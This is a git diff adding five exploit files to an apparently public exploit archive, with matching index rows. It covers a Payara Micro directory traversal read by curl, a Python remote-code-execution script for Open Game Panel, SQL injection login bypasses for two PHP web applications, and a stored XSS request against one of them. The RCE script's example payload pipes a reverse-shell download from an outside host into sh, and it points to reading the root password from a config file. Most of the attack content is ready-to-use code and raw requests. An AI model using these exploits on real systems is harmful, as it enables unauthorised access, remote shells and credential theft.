diff --git a/exploits/multiple/webapps/50371.txt b/exploits/multiple/webapps/50371.txt
new file mode 100644
index 000000000..85c1e929c
--- /dev/null
+++ b/exploits/multiple/webapps/50371.txt
@@ -0,0 +1,35 @@
+# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
+# Date: 01/10/2021
+# Exploit Author: Yasser Khan (N3T_hunt3r)
+# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
+# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
+# Version: Payara Micro Community 5.2021.6
+# Tested on: Linux/Windows OS
+# CVE : CVE-2021-41381
+
+https://nvd.nist.gov/vuln/detail/CVE-2021-41381
+
+Proof of Concept:
+
+Step1: Open the browser check the version of the payara software
+
+Step2: Add this Path at end of the URL
+/.//WEB-INF/classes/META-INF/microprofile-config.properties
+
+Step3: Check the response with match containing
+"payara.security.openid.default.providerURI="
+
+"payara.security.openid.sessionScopedConfiguration=true"
+
+Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.
+
+Step5: Alternatively we can use CURL by using this command:
+
+Request:
+curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties
+
+Reference:
+
+https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
+https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
+https://nvd.nist.gov/vuln/detail/CVE-2021-41381
\ No newline at end of file
diff --git a/exploits/multiple/webapps/50373.py b/exploits/multiple/webapps/50373.py
new file mode 100755
index 000000000..4a90a46f0
--- /dev/null
+++ b/exploits/multiple/webapps/50373.py
@@ -0,0 +1,72 @@
+# Exploit Title: Open Game Panel - Remote Code Execution (RCE) (Authenticated)
+# Google Dork: intext:"Open Game Panel 2021"
+# Date: 08/14/2021
+# Exploit Author: prey
+# Vendor Homepage: https://www.opengamepanel.org/
+# Software Link: https://github.com/OpenGamePanel/OGP-Website
+# Version: before 14 Aug patch (https://github.com/OpenGamePanel/OGP-Website/pull/561/commits)
+# Tested on: CentOS Linux 5.4.102
+
+#Before the patch, it was possible to inject system commands on "map" parameter when launching a new counter-strike server just by putting the command=
+ betwen ';', the user needs to be authenticated for this.
+
+
+import requests
+
+banner = """
+@
+@ @@& @@@@@/
+@ @& #@@@@@& .=
+,/%@#
+@ @@@@@@@@@@@@@((%@@@@*
+@ #@@@@@@@@@@@@@@@*%@,
+@ @@@@@@@@@@@@@@&@@@@
+@ &@@@@@@@@@/ &@@@.
+@ @@@@@@@@@(
+@ @@@@@@@@@@@@@&*
+@ &@@@@@@@@@@@@@@@@%
+@ ,&@@@@@@@@@@@@@
+@ %@@@@@@@.
+@ .%@@@@@@@@% @@@@@@
+@ @@@@@# .&@@@@#
+@ (@@@@@@@@@@@. .@@@& @@%
+@ .@@@@@, #@@@@@* #@@@ @@@@@
+@ @@@& &@@@. @@@
+@ ,@@@ @@@@@@
+@ @@@ %@@@,
+@&@@ @@@,
+@@@@
+@@@@
+
+ *@@@@@# @@ *@@ %@ @@@ @@ @@@@@/ @@@ @@@ ,@@@ ,@( .@=
+%
+ *@/ @@ .@/ @(@ @@ @@@( @@ ,@( @@@* @#@@ @@(@ ,@( .@=
+%
+ *@@@@@@ @@ @ &&.@( @@ @.@@ @@@@ @@.@(@ @@ (@. @@ ,@( .@=
+%
+ *@/ %@(@ @@@ @@ *@@@ @@ @@ @@. @@ @@@@@@, ,@( .@=
+%
+ *@/ @@* @@@ @@ %@@ @@@@@* @@ @@ &@ @@ ,@@@@@ .@=
+@@@@
+
+##You can get mod_id and home_id on your game panel URL when you are logged
+
+"""
+print(banner)
+
+target = input("Target url: (eg: https://panel.example.org)\n")
+opengamepanel_web = input("opengamepanel_web Cookie: (eg: kulonmu5ldu71nmggv2p571nu1)\n")
+mod_id = input("Mod_id value: (eg: 2437)\n")
+home_id = input("Home_id value: (eg: 3737)\n")
+server_ip_port = input("Server IP:port: (eg: 192.168.69.69:42069)\n")
+command = input("Payload: (eg: curl https://reverse-shell.sh/1.1.1.1:1337|sh)\n")
+
+url = target + "/home.php?m=gamemanager&p=game_monitor"
+cookies = {"opengamepanel_web": opengamepanel_web}
+headers = {"Content-Type": "application/x-www-form-urlencoded"}
+data = {"mod_id": mod_id, "home_id": home_id, "ip_port": server_ip_port, "map": ";" + command + ";", "start_server": "whatever"}
+try:
+ requests.post(url, headers=headers, cookies=cookies, data=data)
+except:
+ print("Something went wrong, check your inputs or try manually exploiting the map parameter")
+print("Finished. you can now literally read the file $HOME/OGP/Cfg/Config.pm for the root password yaay! (CVE-2021-37157)")
\ No newline at end of file
diff --git a/exploits/php/webapps/50372.txt b/exploits/php/webapps/50372.txt
new file mode 100644
index 000000000..f0a1cbe07
--- /dev/null
+++ b/exploits/php/webapps/50372.txt
@@ -0,0 +1,45 @@
+# Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass
+# Date: 2021-09-20
+# Exploit Author: Nitin Sharma(vidvansh)
+# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code
+# Version: v1.0
+# Tested on: Windows 10 - XAMPP Server
+
+
+# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.
+
+#Steps-To-Reproduce:
+Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.
+Step 2 – Enter anything in username and password
+Step 3 – Click on Login and capture the request in the burp suite
+Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -.
+Step 5 – Click forward and now you will be logged in as admin.
+
+# PoC:
+
+POST /lodge/classes/Login.php?f=login HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
+Accept: */*
+Accept-Language: en-GB,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+X-Requested-With: XMLHttpRequest
+Content-Length: 49
+Origin: http://localhost
+Connection: close
+Referer: http://localhost/lodge/admin/login.php
+Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
+Sec-Fetch-Dest: empty
+Sec-Fetch-Mode: cors
+Sec-Fetch-Site: same-origin
+
+username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+
+
+
+# Authentication Bypass:
+
+# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password =>
+Username: ' or 1 -- -
+Password: ' or 1 -- -
\ No newline at end of file
diff --git a/exploits/php/webapps/50374.txt b/exploits/php/webapps/50374.txt
new file mode 100644
index 000000000..7a13aa933
--- /dev/null
+++ b/exploits/php/webapps/50374.txt
@@ -0,0 +1,36 @@
+# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass
+# Date: 2021-10-02
+# Exploit Author: Jordan Glover
+# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
+# Version: v1.0
+# Tested on: Windows 10 + XAMPP v3.3.0
+
+Steps-To-Reproduce:
+Step 1 Go to the admin panel http://localhost/bsenordering/admin/login.php
+Step 2 – Enter the default admin username janobe and enter password test
+Step 3 – Click on Sign in and capture the request in the Burp Suite
+Step 4 – Change the user_email to janobe' or '1'='1
+Step 5 – Click forward and now you will be logged in as an admin.
+
+POC
+
+POST /bsenordering/admin/login.php HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-GB,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 40
+Origin: http://localhost
+Connection: close
+Referer: http://localhost/bsenordering/admin/login.php
+Cookie: PHPSESSID=him428198e798r23eagi9mapjk
+Upgrade-Insecure-Requests: 1
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: same-origin
+Sec-Fetch-User: ?1
+
+user_email=janobe' or '1'='1&user_pass=test&btnLogin=
\ No newline at end of file
diff --git a/exploits/php/webapps/50375.txt b/exploits/php/webapps/50375.txt
new file mode 100644
index 000000000..19668d69d
--- /dev/null
+++ b/exploits/php/webapps/50375.txt
@@ -0,0 +1,74 @@
+# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
+# Date: 2021-10-03
+# Exploit Author: Jordan Glover
+# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
+# Version: v1.0
+# Tested on: Windows 10 + XAMPP v3.3.0
+
+Young Entrepreneur E-Negosyo System 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.
+
+Step 1 - Create a new product to sell - http://localhost/bsenordering/admin/products/index.php?view=add
+Step 2 - Fill out all required fields to create a new product. Input a payload in the product description field -
+Step 3 - Save the product.
+
+The stored XSS triggers for all users that navigate to the home page.
+
+POC
+
+POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-GB,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=---------------------------375756297829058981022228786743
+Content-Length: 1203
+Origin: http://localhost
+Connection: close
+Referer: http://localhost/bsenordering/admin/products/index.php?view=add
+Cookie: PHPSESSID=794albocs4b1st3m9hsileorpg
+Upgrade-Insecure-Requests: 1
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: same-origin
+Sec-Fetch-User: ?1
+
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="OWNERNAME"
+
+Test
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="OWNERPHONE"
+
+0000000000
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="PRODESC"
+
+
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="CATEGORY"
+
+3
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="ORIGINALPRICE"
+
+100
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="PROPRICE"
+
+100
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="PROQTY"
+
+100
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="image"; filename=""
+Content-Type: application/octet-stream
+
+
+-----------------------------375756297829058981022228786743
+Content-Disposition: form-data; name="save"
+
+
+-----------------------------375756297829058981022228786743--
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 1f23e49e8..78209f7af 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -44483,3 +44483,8 @@ id,file,description,date,author,type,platform,port
50366,exploits/multiple/webapps/50366.txt,"WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Andreas Finstad",webapps,multiple,
50367,exploits/php/webapps/50367.py,"CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
50370,exploits/php/webapps/50370.txt,"Directory Management System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Sanjay Singh",webapps,php,
+50371,exploits/multiple/webapps/50371.txt,"Payara Micro Community 5.2021.6 - Directory Traversal",1970-01-01,"Yasser Khan",webapps,multiple,
+50372,exploits/php/webapps/50372.txt,"Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass",1970-01-01,"Nitin Sharma",webapps,php,
+50373,exploits/multiple/webapps/50373.py,"Open Game Panel - Remote Code Execution (RCE) (Authenticated)",1970-01-01,prey,webapps,multiple,
+50374,exploits/php/webapps/50374.txt,"Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Jordan Glover",webapps,php,
+50375,exploits/php/webapps/50375.txt,"Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)",1970-01-01,"Jordan Glover",webapps,php,